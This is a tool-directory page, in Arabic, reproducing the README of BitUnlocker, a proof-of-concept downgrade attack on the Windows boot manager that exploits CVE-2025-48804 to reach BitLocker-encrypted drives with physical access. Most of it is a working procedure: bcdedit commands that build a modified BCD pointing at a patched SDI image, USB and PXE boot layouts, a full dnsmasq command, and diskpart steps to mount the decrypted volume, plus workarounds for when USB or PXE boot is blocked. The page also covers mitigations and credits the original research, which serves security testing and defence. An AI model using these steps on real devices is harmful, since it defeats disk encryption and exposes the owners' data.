Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
BitUnlocker — هجوم خفض الإصدار لـ CVE-2025-48804 | Kitploit
أدوات/GitHubGitHub/garatc/bitunlocker
تحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقأمن الأجهزةالفريق الأحمر
GitHubgaratc/bitunlocker

BitUnlocker

هجوم خفض الإصدار لـ CVE-2025-48804

عرض المستودع
22344منذ 9 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هجوم خفض إصدار BitUnlocker

License: MIT

مفهوم إثبات للوصول إلى الأقراص المشفرة بـ BitLocker في أقل من 5 دقائق على أجهزة Windows 11 المحدثة بالكامل من خلال هجوم خفض إصدار مدير الإقلاع، مستفيدًا من ثغرة SDI التي تم توثيقها أصلاً كـ CVE-2025-48804. يُصلح التحديث الصادر في يوليو 2025 هذه الثغرة في bootmgfw.efi، لذا يمكن استخدام أي ملف bootmgfw.efi سابق للتحديث موقع تحت PCA 2011 لشن هجوم خفض الإصدار، شريطة أن يثق النظام الهدف في هذه الشهادة.

يوفر هذا الإثبات طريقتين للتسليم: الإقلاع عبر USB (الأبسط والموصى به) والإقلاع عبر PXE. لكن نظريًا، يمكنك أيضًا نسخ ملف إقلاع SDI إلى أحد الأقسام الافتراضية غير المشفرة (ESP والاسترداد) وعدم الاهتمام بـ USB أو PXE - راجع جدول "الحالات الحدية".

يستند هذا العمل بالكامل إلى بحث Microsoft STORM (Netanel Ben Simon و Alon Leviev):

BitUnlocker: استغلال بيئة الاسترداد في Windows لاستخراج أسرار BitLocker


المتطلبات الأساسية

  • الوصول الفعلي إلى جهاز مشفر بـ BitLocker (TPM فقط، PCR 7 + 11)
  • لا تزال قاعدة بيانات Secure Boot في الجهاز تثق في شهادة Microsoft Windows PCA 2011
  • ذاكرة USB (موصى بها) أو جهاز Linux مثبت عليه dnsmasq وكابل إيثرنت لـ PXE

خطوات التنفيذ

1. تنزيل boot_patched.sdi من الإصدارات (أو إنشاء ملف SDI خاص بك، انظر أدناه)

ضعه في USB/sdi/ (لطريقة USB) أو TFTP-root/sdi/ (لطريقة PXE).

2. تحضير ملف BCD المعدل

على الجهاز الهدف، افتح موجه أوامر WinRE (اضغط مع الاستمرار على Shift أثناء النقر على إعادة التشغيل، ثم استكشاف الأخطاء وإصلاحها > موجه الأوامر — انقر على "تجاهل هذا القرص" عندما يُطلب منك مفتاح استرداد BitLocker وانقر على "إعادة التشغيل" إذا قيل لك أيضًا أن موجه الأوامر لا يمكن تشغيله على جهاز مقفل — وإذا لم يتم فتح موجه الأوامر، استخدم WinPE الخاص بك إن أمكن). قم بتوصيل ذاكرة USB وتشغيل:

root@kitploit:~
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

في المخرجات، ابحث عن إدخال خيارات الجهاز الذي يكون وصفه "Windows Recovery" ويحتوي على إدخالات ramdisksdidevice / ramdisksdipath. سجل معرف GUID الخاص به، ثم:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

ضع ملف BCD الناتج في الموقع المناسب حسب طريقتك:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. إقلاع الجهاز الهدف

الخيار A: الإقلاع عبر USB (موصى به)

قم بتهيئة ذاكرة USB كـ FAT32 وانسخ محتويات دليل USB/ إلى جذرها (فقط محتواه، لا ينبغي وجود مجلد "USB"). يجب أن تبدو ذاكرة USB هكذا:

root@kitploit:~
USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Pre-patch boot manager (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Your modified BCD
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

قم بتوصيل ذاكرة USB بالجهاز الهدف وشغل إقلاع USB عبر UEFI — إما من WinRE (استخدام جهاز) أو بالضغط على مفتاح قائمة الإقلاع الخاص بالشركة المصنعة عند التشغيل (F12، F9، إلخ). إذا لم تظهر ذاكرة USB في قائمة خيارات الإقلاع، ابحث عن خيار "الإقلاع من ملف" في قائمة إقلاع UEFI، ثم انتقل إلى EFI/Boot/bootx64.efi على ذاكرة USB.

الخيار B: الإقلاع عبر PXE

دليل TFTP-root/ منظم على النحو التالي:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Pre-patch boot manager (PCA 2011)
├── Boot/
│   └── BCD                     # Your modified BCD
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Same pre-patch boot manager
└── sdi/
    └── boot_patched.sdi        # Patched SDI with custom WinRE

قم بتوصيل الجهاز الهدف بجهاز Linux الخاص بك عبر كابل إيثرنت وابدأ خادم PXE:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

قم بتشغيل الإقلاع عبر PXE على الجهاز الهدف — من WinRE اختر استخدام جهاز > شبكة IPv4، أو اضغط على مفتاح إقلاع PXE الخاص بالشركة المصنعة.

4. انتظر نقل ملف SDI

سيقوم مدير الإقلاع بتحميل BCD، ثم يبدأ في تنزيل boot_patched.sdi. ملف SDI كبير (~300 ميجابايت) لذا يستغرق هذا لحظة من USB، أو عدة دقائق عبر TFTP. يجب أن تظهر رسالة متعلقة بالاسترداد مع مسار SDI على شاشة الهدف أثناء التحميل.

5. الربح (اكتمال الهجوم)

بمجرد اكتمال النقل، يجب أن يظهر موجه أوامر مع وحدة تخزين نظام التشغيل مفكوكة التشفير ومثبتة (عادةً C: أو E:). إذا لم يتم تثبيتها تلقائيًا أو لا تريد تخمين الحرف، فقط قم بتشغيل diskpart -> sel vol X (التي تبدو وكأنها محرك الأقراص المشفر) -> assign letter=C (أو شيء آخر) -> exit -> الربح

الحالات الحدية


إنشاء ملف SDI خاص بك

لقد أدرجت نصين برمجيين في scripts/:

  • patch_sdi.py — لبناء ملف SDI معدل من ملف boot.sdi وملف WinRE.wim
  • parse_sdi.py — لتحليل ملف SDI للتحقق من هيكله ومحتواه

يحتوي ملف boot_patched.sdi المقدم في الإصدارات على WinRE.wim معدل حيث يكون تطبيق الإطلاق هو cmd.exe.

الحالات غير القابلة للاستغلال

  • TPM + PIN أو TPM + ملف مفتاح مهيأ ولا يعرفه المهاجم
  • KB5025885 مثبت / تم ترحيل مدير الإقلاع إلى CA 2023 — من المحتمل أن الأجهزة المثبتة حديثًا منذ أوائل 2026 تأتي مع ملف bootmgfw.efi موقع من CA 2023 افتراضيًا. للتحقق، قم بتحميل قسم EFI وافحص الثنائي النشط: mountvol S: /s ثم sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. لاحظ أن C:\Windows\Boot\EFI\bootmgfw.efi قد يختلف عن الملف المستخدم فعليًا عند الإقلاع — تحقق دائمًا من نسخة قسم EFI.
  • سياسة PCR غير افتراضية — التكوينات التي تتضمن PCR 0 أو 2 أو 4 ستكتشف التغيير في مسار الإقلاع
  • تم إبطال PCA 2011 عبر DBX — إذا تم عدم الثقة صراحة في الشهادة القديمة

التخفيفات

  • تمكين TPM + PIN — يمنع رمز PIN قبل الإقلاع TPM من فتح VMK دون تفاعل المستخدم، بغض النظر عن التلاعب بمسار الإقلاع. ضع في اعتبارك مع ذلك أنه لن يوقف شخصًا داخليًا لديه معرفة برمز PIN.
  • الترحيل إلى Windows UEFI CA 2023 وتطبيق KB5025885 لمنع هجمات خفض الإصدار تمامًا

الإسناد (Credits)

Microsoft STORM (Netanel Ben Simon و Alon Leviev) للبحث الأصلي حول BitUnlocker والإفصاح عن الثغرة الأمنية.


الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.

إخلاء المسؤولية

تم توفير هذا المستودع وجميع محتوياته بدقة لأغراض اختبار الأمان المصرح به والبحث. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذه المواد.

تنزيل الأداة
الموقفماذا يحدث
BitLocker مهيأ برمز PIN تعرفهشاشة زرقاء عند الإقلاع — اكتب الرقم PIN بشكل أعمى (آسف لم أهتم بخطوط BitLocker في هذا المستودع) واضغط Enter
شاشة زرقاء، بدون PINمن المحتمل أن الهدف قد هاجر إلى CA 2023 — اضغط Escape واترك نقل SDI يكتمل على أي حال، لكن من المحتمل جدًا أن يكون محرك الأقراص المشفر بـ BitLocker مقفلاً في النهاية
USB-C / Thunderbolt فقطاستخدم محرك أقراص USB-C أو محول USB-Ethernet (لـ PXE)
ملف TFTP غير موجود (بخلاف ملفات الخطوط غير المرغوب فيها التي لا نهتم بها)أسماء الملفات حساسة لحالة الأحرف — أعد تسمية bootmgfw.efi لتطابق ما يطلبه الهدف
لا يُسمح بالإقلاع عبر PXE أو USBتحقق من المساحة المتاحة لأقسام ESP والاسترداد (diskpart -> list vol). إذا كانت هناك مساحة كافية لملف Boot.sdi المقدم (حوالي 300 ميجابايت) في أي من القسمين، ضعه هناك. عندها، سيكون الاستغلال مختلفًا قليلاً (لكنه لا يزال بنفس السرعة) حيث ستحتاج إلى تعديل ملف BCD الخاص بالنظام الهدف مباشرة (يرجى عمل نسخة احتياطية) للإشارة إلى قسم المضيف غير المشفر (على وجه الخصوص إدخال ramdisksdidevice في BCD)، واستبدال bootmgfw.efi الخاص بهدفك بالملف الموجود في مجلد TFTP لهذا المستودع. في هذه الحالة، تأكد من التحقق من أن مدير الإقلاع الخاص بهدفك موقّع من PCA 2011 (لن يعمل الاستغلال في هذه الحالة على أي حال، تحقق دائمًا من ذلك)، وإلا ستضع النظام في استرداد BitLocker. أيضًا، إذا لم تكن هناك مساحة كافية لملف Boot.sdi المقدم في هذا المستودع، يمكنك محاولة إنشاء نسخة أصغر بنفسك، فهناك بالتأكيد بعض الطرق للقيام بذلك (انظر قسم "إنشاء ملف SDI خاص بك" أدناه)